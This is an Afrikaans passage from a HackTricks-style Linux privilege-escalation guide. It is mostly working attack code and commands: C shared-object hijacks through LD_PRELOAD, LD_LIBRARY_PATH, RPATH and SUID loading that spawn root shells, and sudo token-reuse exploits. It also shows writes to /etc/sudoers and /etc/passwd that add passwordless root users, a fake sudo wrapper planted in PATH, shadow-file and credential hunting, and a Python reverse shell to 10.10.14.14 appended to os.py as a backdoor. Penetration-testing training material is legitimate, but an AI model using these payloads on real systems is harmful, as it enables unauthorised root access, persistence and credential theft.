Hierdie tegniek kan ook gebruik word as 'n suid binêre 'n ander opdrag uitvoer sonder om die pad daarna toe te spesifiseer (kontroleer altyd met strings die inhoud van 'n vreemde SUID binêre).

Payload voorbeelde om uit te voer.

SUID binêre met opdrag pad

As die suid binêre 'n ander opdrag uitvoer wat die pad spesifiseer, kan jy probeer om 'n funksie te eksporteer wat genoem word soos die opdrag wat die suid-lêer aanroep.

Byvoorbeeld, as 'n suid binêre /usr/sbin/service apache2 start aanroep, moet jy probeer om die funksie te skep en dit te eksporteer:

function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; }
export -f /usr/sbin/service

Dan, wanneer jy die suid-binary aanroep, sal hierdie funksie uitgevoer word

LD_PRELOAD & LD_LIBRARY_PATH

Die LD_PRELOAD omgewing veranderlike word gebruik om een of meer gedeelde biblioteke (.so lêers) aan te dui wat deur die laaier gelaai moet word voordat alle ander, insluitend die standaard C biblioteek (libc.so). Hierdie proses staan bekend as die vooraflaai van 'n biblioteek.

Om egter die stelselsekuriteit te handhaaf en te voorkom dat hierdie funksie uitgebuit word, veral met suid/sgid uitvoerbare lêers, handhaaf die stelsel sekere voorwaardes:

Die laaier ignoreer LD_PRELOAD vir uitvoerbare lêers waar die werklike gebruikers-ID (ruid) nie ooreenstem met die effektiewe gebruikers-ID (euid).
Vir uitvoerbare lêers met suid/sgid, word slegs biblioteke in standaardpaaie wat ook suid/sgid is, vooraf gelaai.

Privilegie-eskalasie kan plaasvind as jy die vermoë het om opdragte met sudo uit te voer en die uitvoer van sudo -l die stelling env_keep+=LD_PRELOAD insluit. Hierdie konfigurasie laat die LD_PRELOAD omgewing veranderlike toe om te bly bestaan en erken te word selfs wanneer opdragte met sudo uitgevoer word, wat moontlik kan lei tot die uitvoering van arbitrêre kode met verhoogde bevoegdhede.

Defaults        env_keep += LD_PRELOAD

Stoor as /tmp/pe.c

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}

Dan kompilleer dit met:

cd /tmp
gcc -fPIC -shared -o pe.so pe.c -nostartfiles

Uiteindelik, verhoog privilige wat loop

sudo LD_PRELOAD=./pe.so <COMMAND> #Use any command you can run with sudo

'n Soortgelyke privesc kan misbruik word as die aanvaller die LD_LIBRARY_PATH omgewing veranderlike beheer, omdat hy die pad beheer waar biblioteke gesoek gaan word.

#include <stdio.h>
#include <stdlib.h>

static void hijack() __attribute__((constructor));

void hijack() {
unsetenv("LD_LIBRARY_PATH");
setresuid(0,0,0);
system("/bin/bash -p");
}

# Compile & execute
cd /tmp
gcc -o /tmp/libcrypt.so.1 -shared -fPIC /home/user/tools/sudo/library_path.c
sudo LD_LIBRARY_PATH=/tmp <COMMAND>

SUID Binêre – .so inspuiting

Wanneer jy 'n binêre met SUID regte teëkom wat ongewoon lyk, is dit 'n goeie praktyk om te verifieer of dit .so lêers korrek laai. Dit kan nagegaan word deur die volgende opdrag uit te voer:

strace <SUID-BINARY> 2>&1 | grep -i -E "open|access|no such file"

Byvoorbeeld, om 'n fout soos "open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (Geen sodanige lêer of gids)" te teëkom, dui 'n potensiaal vir uitbuiting aan.

Om dit te benut, sou 'n mens voortgaan deur 'n C-lêer te skep, sê "/path/to/.config/libcalc.c", wat die volgende kode bevat:

#include <stdio.h>
#include <stdlib.h>

static void inject() __attribute__((constructor));

void inject(){
system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
}

Hierdie kode, wanneer dit gecompileer en uitgevoer word, is daarop gemik om voorregte te verhoog deur lêer toestemmings te manipuleer en 'n skulp met verhoogde voorregte uit te voer.

Compileer die bogenoemde C-lêer in 'n gedeelde objek (.so) lêer met:

gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c

Uiteindelik behoort die uitvoering van die aangetaste SUID-binaar die ontploffing te aktiveer, wat moontlike stelselskade toelaat.

Gedeelde Objekt Hijacking

# Lets find a SUID using a non-standard library
ldd some_suid
something.so => /lib/x86_64-linux-gnu/something.so

# The SUID also loads libraries from a custom location where we can write
readelf -d payroll  | grep PATH
0x000000000000001d (RUNPATH)            Library runpath: [/development]

Nou dat ons 'n SUID-binaar gevind het wat 'n biblioteek laai vanaf 'n gids waar ons kan skryf, kom ons skep die biblioteek in daardie gids met die nodige naam:

//gcc src.c -fPIC -shared -o /development/libshared.so
#include <stdio.h>
#include <stdlib.h>

static void hijack() __attribute__((constructor));

void hijack() {
setresuid(0,0,0);
system("/bin/bash -p");
}

As jy 'n fout kry soos

./suid_bin: symbol lookup error: ./suid_bin: undefined symbol: a_function_name

dit beteken dat die biblioteek wat jy gegenereer het, 'n funksie moet hê wat a_function_name genoem word.

GTFOBins

GTFOBins is 'n saamgestelde lys van Unix-binaries wat deur 'n aanvaller benut kan word om plaaslike sekuriteitsbeperkings te omseil. GTFOArgs is dieselfde, maar vir gevalle waar jy slegs argumente in 'n opdrag kan inspuit.

Die projek versamel wettige funksies van Unix-binaries wat misbruik kan word om uit beperkte shells te breek, voorregte te eskaleer of te handhaaf, lêers oor te dra, bind en omgekeerde shells te spawn, en ander post-exploitasie take te fasiliteer.

gdb -nx -ex '!sh' -ex quit sudo mysql -e '! /bin/sh' strace -o /dev/null /bin/sh sudo awk 'BEGIN {system("/bin/sh")}'

GTFOBins

GTFOArgs

FallOfSudo

As jy toegang kan kry tot sudo -l, kan jy die hulpmiddel FallOfSudo gebruik om te kyk of dit vind hoe om enige sudo-reël te benut.

Hergebruik van Sudo Tokens

In gevalle waar jy sudo toegang het, maar nie die wagwoord nie, kan jy voorregte eskaleer deur te wag vir 'n sudo-opdrag uitvoering en dan die sessietoken te kap.

Vereistes om voorregte te eskaleer:

Jy het reeds 'n shell as gebruiker "sampleuser"
"sampleuser" het sudo gebruik om iets in die laaste 15min uit te voer (per standaard is dit die duur van die sudo-token wat ons toelaat om sudo te gebruik sonder om enige wagwoord in te voer)
cat /proc/sys/kernel/yama/ptrace_scope is 0
gdb is toeganklik (jy moet in staat wees om dit op te laai)

(Jy kan tydelik ptrace_scope inskakel met echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope of permanent /etc/sysctl.d/10-ptrace.conf wysig en kernel.yama.ptrace_scope = 0 stel)

As al hierdie vereistes nagekom word, kan jy voorregte eskaleer met: https://github.com/nongiach/sudo_inject

Die eerste exploit (exploit.sh) sal die binêre activate_sudo_token in /tmp skep. Jy kan dit gebruik om die sudo-token in jou sessie te aktiveer (jy sal nie outomaties 'n root shell kry nie, doen sudo su):

bash exploit.sh
/tmp/activate_sudo_token
sudo su

Die tweede eksploit (exploit_v2.sh) sal 'n sh-skal in /tmp besit deur root met setuid skep

bash exploit_v2.sh
/tmp/sh -p

Die derde eksploit (exploit_v3.sh) sal n sudoers-lêer skep wat sudo-tokenne ewigdurend maak en alle gebruikers toelaat om sudo te gebruik

bash exploit_v3.sh
sudo su

/var/run/sudo/ts/<Username>

As jy skrywe toestemmings in die gids of op enige van die geskepte lêers binne die gids het, kan jy die binêre write_sudo_token gebruik om 'n sudo-token vir 'n gebruiker en PID te skep. Byvoorbeeld, as jy die lêer /var/run/sudo/ts/sampleuser kan oorskryf en jy het 'n shell as daardie gebruiker met PID 1234, kan jy sudo-regte verkry sonder om die wagwoord te ken deur:

./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser

/etc/sudoers, /etc/sudoers.d

Die lêer /etc/sudoers en die lêers binne /etc/sudoers.d konfigureer wie sudo kan gebruik en hoe. Hierdie lêers is standaard slegs leesbaar deur gebruiker root en groep root. As jy hierdie lêer kan lees, kan jy dalk interessante inligting verkry, en as jy enige lêer kan skryf, sal jy in staat wees om privileges te eskaleer.

ls -l /etc/sudoers /etc/sudoers.d/
ls -ld /etc/sudoers.d/

As jy kan skryf, kan jy hierdie toestemming misbruik.

echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers
echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README

Nog 'n manier om hierdie toestemmings te misbruik:

# makes it so every terminal can sudo
echo "Defaults !tty_tickets" > /etc/sudoers.d/win
# makes it so sudo never times out
echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win

DOAS

Daar is 'n paar alternatiewe vir die sudo binaire soos doas vir OpenBSD, onthou om sy konfigurasie by /etc/doas.conf te kontroleer.

permit nopass demo as root cmd vim

Sudo Hijacking

As jy weet dat 'n gebruiker gewoonlik aan 'n masjien koppel en sudo gebruik om voorregte te verhoog en jy het 'n shell binne daardie gebruikerskonteks, kan jy 'n nuwe sudo uitvoerbare lêer skep wat jou kode as root sal uitvoer en dan die gebruiker se opdrag. Dan, wysig die $PATH van die gebruikerskonteks (byvoorbeeld deur die nuwe pad in .bash_profile by te voeg) sodat wanneer die gebruiker sudo uitvoer, jou sudo uitvoerbare lêer uitgevoer word.

Let daarop dat as die gebruiker 'n ander shell gebruik (nie bash nie) jy ander lêers moet wysig om die nuwe pad by te voeg. Byvoorbeeld sudo-piggyback wysig ~/.bashrc, ~/.zshrc, ~/.bash_profile. Jy kan 'n ander voorbeeld vind in bashdoor.py

Of om iets soos te loop:

cat >/tmp/sudo <<EOF
#!/bin/bash
/usr/bin/sudo whoami > /tmp/privesc
/usr/bin/sudo "\$@"
EOF
chmod +x /tmp/sudo
echo ‘export PATH=/tmp:$PATH’ >> $HOME/.zshenv # or ".bashrc" or any other

# From the victim
zsh
echo $PATH
sudo ls

Gedeelde Biblioteek

ld.so

Die lêer /etc/ld.so.conf dui aan waar die gelaaide konfigurasielêers vandaan kom. Tipies bevat hierdie lêer die volgende pad: include /etc/ld.so.conf.d/*.conf

Dit beteken dat die konfigurasielêers van /etc/ld.so.conf.d/*.conf gelees sal word. Hierdie konfigurasielêers wys na ander vouers waar biblioteke gaan soek word. Byvoorbeeld, die inhoud van /etc/ld.so.conf.d/libc.conf is /usr/local/lib. Dit beteken dat die stelsel biblioteke binne /usr/local/lib gaan soek.

As om een of ander rede 'n gebruiker skryfregte op enige van die aangeduide pades het: /etc/ld.so.conf, /etc/ld.so.conf.d/, enige lêer binne /etc/ld.so.conf.d/ of enige vouer binne die konfigurasielêer binne /etc/ld.so.conf.d/*.conf, kan hy dalk in staat wees om voorregte te verhoog. Kyk na hoe om hierdie miskonfigurasie te benut op die volgende bladsy:

ld.so privesc exploit example

RPATH

level15@nebula:/home/flag15$ readelf -d flag15 | egrep "NEEDED|RPATH"
0x00000001 (NEEDED)                     Shared library: [libc.so.6]
0x0000000f (RPATH)                      Library rpath: [/var/tmp/flag15]

level15@nebula:/home/flag15$ ldd ./flag15
linux-gate.so.1 =>  (0x0068c000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000)
/lib/ld-linux.so.2 (0x005bb000)

Deur die lib na /var/tmp/flag15/ te kopieer, sal dit deur die program op hierdie plek gebruik word soos gespesifiseer in die RPATH veranderlike.

level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/

level15@nebula:/home/flag15$ ldd ./flag15
linux-gate.so.1 =>  (0x005b0000)
libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00110000)
/lib/ld-linux.so.2 (0x00737000)

Dan skep 'n bose biblioteek in /var/tmp met gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6

#include<stdlib.h>
#define SHELL "/bin/sh"

int __libc_start_main(int (*main) (int, char **, char **), int argc, char ** ubp_av, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void (* stack_end))
{
char *file = SHELL;
char *argv[] = {SHELL,0};
setresuid(geteuid(),geteuid(), geteuid());
execve(file,argv,0);
}

Vermoëns

Linux vermoëns bied 'n substel van die beskikbare wortelprivileges aan 'n proses. Dit breek effektief wortel privileges op in kleiner en kenmerkende eenhede. Elke eenheid kan dan onafhanklik aan prosesse toegeken word. Op hierdie manier word die volle stel privileges verminder, wat die risiko's van uitbuiting verlaag. Lees die volgende bladsy om meer te leer oor vermoëns en hoe om dit te misbruik:

Linux Capabilities

Gids toestemmings

In 'n gids dui die bit vir "uitvoer" aan dat die betrokke gebruiker kan "cd" in die vouer. Die "lees" bit dui aan dat die gebruiker kan lys die lêers, en die "skryf" bit dui aan dat die gebruiker kan verwyder en skep nuwe lêers.

ACLs

Toegang Beheer Lyste (ACLs) verteenwoordig die sekondêre laag van diskresionêre toestemmings, wat in staat is om die tradisionele ugo/rwx toestemmings te oortref. Hierdie toestemmings verbeter beheer oor lêer of gids toegang deur regte aan spesifieke gebruikers toe te laat of te weier wat nie die eienaars of deel van die groep is nie. Hierdie vlak van fynheid verseker meer presiese toegang bestuur. Verdere besonderhede kan hier gevind word.

Gee gebruiker "kali" lees- en skryftoestemmings oor 'n lêer:

setfacl -m u:kali:rw file.txt
#Set it in /etc/sudoers or /etc/sudoers.d/README (if the dir is included)

setfacl -b file.txt #Remove the ACL of the file

Kry lêers met spesifieke ACLs van die stelsel:

getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null

Open shell sessions

In ou weergawe kan jy hijack sommige shell sessies van 'n ander gebruiker (root). In nuutste weergawes sal jy in staat wees om slegs aan skermsessies van jou eie gebruiker te verbinde. Jy kan egter interessante inligting binne die sessie vind.

screen sessions hijacking

Lys skermsessies

screen -ls
screen -ls <username>/ # Show another user' screen sessions

Koppel aan 'n sessie

screen -dr <session> #The -d is to detach whoever is attached to it
screen -dr 3350.foo #In the example of the image
screen -x [user]/[session id]

tmux sessies oorname

Dit was 'n probleem met ou tmux weergawes. Ek kon nie 'n tmux (v2.1) sessie wat deur root geskep is, oorneem as 'n nie-privilegieerde gebruiker nie.

Lys tmux sessies

tmux ls
ps aux | grep tmux #Search for tmux consoles not using default folder for sockets
tmux -S /tmp/dev_sess ls #List using that socket, you can start a tmux session in that socket with: tmux -S /tmp/dev_sess

Koppel aan 'n sessie

tmux attach -t myname #If you write something in this session it will appears in the other opened one
tmux attach -d -t myname #First detach the session from the other console and then access it yourself

ls -la /tmp/dev_sess #Check who can access it
rw-rw---- 1 root devs 0 Sep  1 06:27 /tmp/dev_sess #In this case root and devs can
# If you are root or devs you can access it
tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket

Check Valentine box from HTB vir 'n voorbeeld.

SSH

Debian OpenSSL Voorspelbare PRNG - CVE-2008-0166

Alle SSL en SSH sleutels wat op Debian-gebaseerde stelsels (Ubuntu, Kubuntu, ens.) tussen September 2006 en 13 Mei 2008 gegenereer is, mag deur hierdie fout geraak word. Hierdie fout word veroorsaak wanneer 'n nuwe ssh-sleutel in daardie OS geskep word, aangesien slegs 32,768 variasies moontlik was. Dit beteken dat al die moontlikhede bereken kan word en as jy die ssh publieke sleutel het, kan jy soek na die ooreenstemmende private sleutel. Jy kan die berekende moontlikhede hier vind: https://github.com/g0tmi1k/debian-ssh

SSH Interessante konfigurasiewaardes

PasswordAuthentication: Gee aan of wagwoordverifikasie toegelaat word. Die standaard is no.
PubkeyAuthentication: Gee aan of publieke sleutelverifikasie toegelaat word. Die standaard is yes.
PermitEmptyPasswords: Wanneer wagwoordverifikasie toegelaat word, gee dit aan of die bediener aanmeldings met leë wagwoordstringe toelaat. Die standaard is no.

PermitRootLogin

Gee aan of root kan aanmeld met ssh, die standaard is no. Moontlike waardes:

yes: root kan aanmeld met wagwoord en private sleutel
without-password of prohibit-password: root kan slegs aanmeld met 'n private sleutel
forced-commands-only: Root kan slegs aanmeld met 'n private sleutel en as die opdragopsies gespesifiseer is
no : geen

AuthorizedKeysFile

Gee aan watter lêers die publieke sleutels bevat wat vir gebruikersverifikasie gebruik kan word. Dit kan tokens soos %h bevat, wat deur die tuisgids vervang sal word. Jy kan absolute paaie aandui (begin in /) of relatiewe paaie vanaf die gebruiker se huis. Byvoorbeeld:

AuthorizedKeysFile    .ssh/authorized_keys access

Die konfigurasie sal aandui dat as jy probeer om aan te meld met die private sleutel van die gebruiker "testusername", ssh die publieke sleutel van jou sleutel met diegene in /home/testusername/.ssh/authorized_keys en /home/testusername/access gaan vergelyk.

ForwardAgent/AllowAgentForwarding

SSH agent forwarding laat jou toe om jou plaaslike SSH sleutels te gebruik in plaas van om sleutels (sonder wagwoorde!) op jou bediener te laat sit. So, jy sal in staat wees om te spring via ssh na 'n gasheer en van daar af na 'n ander gasheer te spring met die sleutel wat in jou begin gasheer geleë is.

Jy moet hierdie opsie in $HOME/.ssh.config soos volg stel:

Host example.com
ForwardAgent yes

Let wel, as Host * is, sal elke keer as die gebruiker na 'n ander masjien spring, daardie gasheer toegang tot die sleutels hê (wat 'n sekuriteitskwessie is).

Die lêer /etc/ssh_config kan oorskryf hierdie opsies en hierdie konfigurasie toelaat of weier. Die lêer /etc/sshd_config kan toelaat of weier ssh-agent forwarding met die sleutelwoord AllowAgentForwarding (standaard is toelaat).

As jy vind dat Forward Agent in 'n omgewing geconfigureer is, lees die volgende bladsy as jy dalk dit kan misbruik om voorregte te verhoog:

SSH Forward Agent exploitation

Interessante Lêers

Profiel lêers

Die lêer /etc/profile en die lêers onder /etc/profile.d/ is scripts wat uitgevoer word wanneer 'n gebruiker 'n nuwe skulp uitvoer. Daarom, as jy enige van hulle kan skryf of wysig, kan jy voorregte verhoog.

ls -l /etc/profile /etc/profile.d/

As daar enige vreemde profielskrip gevind word, moet jy dit nagaan vir sensitiewe besonderhede.

Passwd/Shadow Lêers

Afhangende van die OS mag die /etc/passwd en /etc/shadow lêers 'n ander naam gebruik of daar mag 'n rugsteun wees. Daarom word dit aanbeveel om almal van hulle te vind en na te gaan of jy hulle kan lees om te sien of daar hashes binne die lêers is:

#Passwd equivalent files
cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null
#Shadow equivalent files
cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null

In sommige gevalle kan jy wagwoord-hashes binne die /etc/passwd (of ekwivalente) lêer vind

grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null

Writable /etc/passwd

Eerst, genereer 'n wagwoord met een van die volgende opdragte.

openssl passwd -1 -salt hacker hacker
mkpasswd -m SHA-512 hacker
python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")'

Dan voeg die gebruiker hacker by en voeg die gegenereerde wagwoord by.

hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash

E.g: hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash

Jy kan nou die su opdrag gebruik met hacker:hacker

Alternatiewelik kan jy die volgende lyne gebruik om 'n dummy gebruiker sonder 'n wagwoord by te voeg. WAARSKUWING: jy mag die huidige sekuriteit van die masjien verlaag.

echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd
su - dummy

NOTE: In BSD platforms /etc/passwd is geleë by /etc/pwd.db en /etc/master.passwd, ook is die /etc/shadow hernoem na /etc/spwd.db.

Jy moet nagaan of jy in sommige sensitiewe lêers kan skryf. Byvoorbeeld, kan jy in 'n dienskonfigurasielêer skryf?

find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody
for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user

Byvoorbeeld, as die masjien 'n tomcat bediener draai en jy kan die Tomcat diens konfigurasie lêer binne /etc/systemd/ wysig, dan kan jy die lyne wysig:

ExecStart=/path/to/backdoor
User=root
Group=root

Your backdoor will be executed the next time that tomcat is started.

Check Folders

Die volgende vouers mag rugsteun of interessante inligting bevat: /tmp, /var/tmp, /var/backups, /var/mail, /var/spool/mail, /etc/exports, /root (Waarskynlik sal jy nie die laaste een kan lees nie, maar probeer)

ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root

Vreemde Ligging/Besit lêers

#root owned files in /home folders
find /home -user root 2>/dev/null
#Files owned by other users in folders owned by me
for d in `find /var /etc /home /root /tmp /usr /opt /boot /sys -type d -user $(whoami) 2>/dev/null`; do find $d ! -user `whoami` -exec ls -l {} \; 2>/dev/null; done
#Files owned by root, readable by me but not world readable
find / -type f -user root ! -perm -o=r 2>/dev/null
#Files owned by me or world writable
find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null
#Writable files by each group I belong to
for g in `groups`;
do printf "  Group $g:\n";
find / '(' -type f -or -type d ')' -group $g -perm -g=w ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null
done
done

Gewysigde lêers in laaste minute

find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" 2>/dev/null

Sqlite DB lêers

find / -name '*.db' -o -name '*.sqlite' -o -name '*.sqlite3' 2>/dev/null

*_geskiedenis, .sudo_as_admin_suksesvol, profiel, bashrc, httpd.conf, .plan, .htpasswd, .git-credentials, .rhosts, hosts.equiv, Dockerfile, docker-compose.yml lêers

find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -name ".profile" -o -name "*bashrc" -o -name "httpd.conf" -o -name "*.plan" -o -name ".htpasswd" -o -name ".git-credentials" -o -name "*.rhosts" -o -name "hosts.equiv" -o -name "Dockerfile" -o -name "docker-compose.yml" \) 2>/dev/null

Versteekte lêers

find / -type f -iname ".*" -ls 2>/dev/null

Script/Binaries in PATH

for d in `echo $PATH | tr ":" "\n"`; do find $d -name "*.sh" 2>/dev/null; done
for d in `echo $PATH | tr ":" "\n"`; do find $d -type f -executable 2>/dev/null; done

Web lêers

ls -alhR /var/www/ 2>/dev/null
ls -alhR /srv/www/htdocs/ 2>/dev/null
ls -alhR /usr/local/www/apache22/data/
ls -alhR /opt/lampp/htdocs/ 2>/dev/null

Rugsteun

find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/games /usr/sbin /root /tmp -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bck" -o -name "*\.bk" \) 2>/dev/null

Bekende lêers wat wagwoorde bevat

Lees die kode van linPEAS, dit soek na verskeie moontlike lêers wat wagwoorde kan bevat. Nog 'n interessante hulpmiddel wat jy kan gebruik om dit te doen is: LaZagne wat 'n oopbron-toepassing is wat gebruik word om baie wagwoorde wat op 'n plaaslike rekenaar gestoor is vir Windows, Linux & Mac te onttrek.

Logs

As jy logs kan lees, mag jy in staat wees om interessante/vertroulike inligting daarin te vind. Hoe meer vreemd die log is, hoe meer interessant sal dit wees (waarskynlik). Ook, sommige "slegte" geconfigureerde (terugdeur?) auditslogs mag jou toelaat om wagwoorde binne auditslogs te registreer soos verduidelik in hierdie pos: https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/.

aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g"
grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null

Om logs te lees, sal die groep adm baie nuttig wees.

Shell-lêers

~/.bash_profile # if it exists, read it once when you log in to the shell
~/.bash_login # if it exists, read it once if .bash_profile doesn't exist
~/.profile # if it exists, read once if the two above don't exist
/etc/profile # only read if none of the above exists
~/.bashrc # if it exists, read it every time you start a new shell
~/.bash_logout # if it exists, read when the login shell exits
~/.zlogin #zsh shell
~/.zshrc #zsh shell

Generiese Kredensiële Soektog/Regex

Jy moet ook kyk vir lêers wat die woord "password" in sy naam of binne die inhoud bevat, en ook kyk vir IP's en e-posse binne logs, of hashes regexps. Ek gaan nie hier lys hoe om al hierdie te doen nie, maar as jy belangstel, kan jy die laaste toetse wat linpeas uitvoer, nagaan.

Skryfbare lêers

Python biblioteek kaping

As jy weet waar 'n python skrip gaan uitgevoer word en jy kan skryf binne daardie gids of jy kan python biblioteke wysig, kan jy die OS biblioteek wysig en dit backdoor (as jy kan skryf waar die python skrip gaan uitgevoer word, kopieer en plak die os.py biblioteek).

Om die biblioteek te backdoor, voeg net die volgende lyn aan die einde van die os.py biblioteek by (verander IP en PORT):

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

Logrotate uitbuiting

'n Kwetsbaarheid in logrotate laat gebruikers met skrywe toestemmings op 'n loglêer of sy ouer directories potensieel verhoogde bevoegdhede verkry. Dit is omdat logrotate, wat dikwels as root loop, gemanipuleer kan word om arbitrêre lêers uit te voer, veral in directories soos /etc/bash_completion.d/. Dit is belangrik om toestemmings te kontroleer nie net in /var/log nie, maar ook in enige directory waar logrotasie toegepas word.

Hierdie kwesbaarheid raak logrotate weergawe 3.18.0 en ouer

Meer gedetailleerde inligting oor die kwesbaarheid kan op hierdie bladsy gevind word: https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition.

Jy kan hierdie kwesbaarheid uitbuit met logrotten.

Hierdie kwesbaarheid is baie soortgelyk aan CVE-2016-1247 (nginx logs), so wanneer jy vind dat jy logs kan verander, kyk wie daardie logs bestuur en kyk of jy bevoegdhede kan verhoog deur die logs met symlinks te vervang.

/etc/sysconfig/network-scripts/ (Centos/Redhat)

Kwetsbaarheid verwysing: https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f

As 'n gebruiker om enige rede in staat is om te skryf 'n ifcf-<whatever> skrip na /etc/sysconfig/network-scripts of dit kan aanpas 'n bestaande een, dan is jou stelsel pwned.

Netwerk skripte, ifcg-eth0 byvoorbeeld, word gebruik vir netwerkverbindinge. Hulle lyk presies soos .INI lêers. Hulle word egter ~sourced~ op Linux deur Network Manager (dispatcher.d).

In my geval, die NAME= attribuut in hierdie netwerk skripte word nie korrek hanteer nie. As jy wit/leë spasie in die naam het, probeer die stelsel om die deel na die wit/leë spasie uit te voer. Dit beteken dat alles na die eerste leë spasie as root uitgevoer word.

Byvoorbeeld: /etc/sysconfig/network-scripts/ifcfg-1337

NAME=Network /bin/id
ONBOOT=yes
DEVICE=eth0

init, init.d, systemd, en rc.d

Die gids /etc/init.d is die huis van scripts vir System V init (SysVinit), die klassieke Linux diensbestuurstelsel. Dit sluit scripts in om dienste te begin, stop, herbegin, en soms herlaai. Hierdie kan direk of deur simboliese skakels in /etc/rc?.d/ uitgevoer word. 'n Alternatiewe pad in Redhat stelsels is /etc/rc.d/init.d.

Aan die ander kant, /etc/init is geassosieer met Upstart, 'n nuwer diensbestuur wat deur Ubuntu bekendgestel is, wat konfigurasie lêers gebruik vir diensbestuur take. Ten spyte van die oorgang na Upstart, word SysVinit scripts steeds saam met Upstart konfigurasies gebruik weens 'n kompatibiliteitslaag in Upstart.

systemd verskyn as 'n moderne inisialisasie en diensbestuurder, wat gevorderde funksies bied soos on-demand daemon begin, automount bestuur, en stelsels staat snapshots. Dit organiseer lêers in /usr/lib/systemd/ vir verspreidingspakkette en /etc/systemd/system/ vir administrateur wysigings, wat die stelsels administrasie proses stroomlyn.

Ander Trukies

NFS Privilege escalasie

NFS no_root_squash/no_all_squash misconfiguration PE

Ontsnapping uit beperkte Skale

Escaping from Jails

Cisco - vmanage

Kernel Sekuriteit Beskermings

Meer hulp

Statiese impacket binêre

Linux/Unix Privesc Gereedskap

Beste gereedskap om na Linux plaaslike privilege escalasie vektore te soek: LinPEAS

LinEnum: https://github.com/rebootuser/LinEnum(-t opsie) Enumy: https://github.com/luke-goddard/enumy Unix Privesc Kontrole: http://pentestmonkey.net/tools/audit/unix-privesc-check Linux Priv Checker: www.securitysift.com/download/linuxprivchecker.py BeeRoot: https://github.com/AlessandroZ/BeRoot/tree/master/Linux Kernelpop: Enumereer kernel kwesbaarhede in linux en MAC https://github.com/spencerdodd/kernelpop Mestaploit: multi/recon/local_exploit_suggester Linux Exploit Suggester: https://github.com/mzet-/linux-exploit-suggester EvilAbigail (fisiese toegang): https://github.com/GDSSecurity/EvilAbigail Versameling van meer scripts: https://github.com/1N3/PrivEsc

Verwysings

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Ondersteun HackTricks

Kyk na die subskripsie planne!
Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
Deel hacking trukies deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.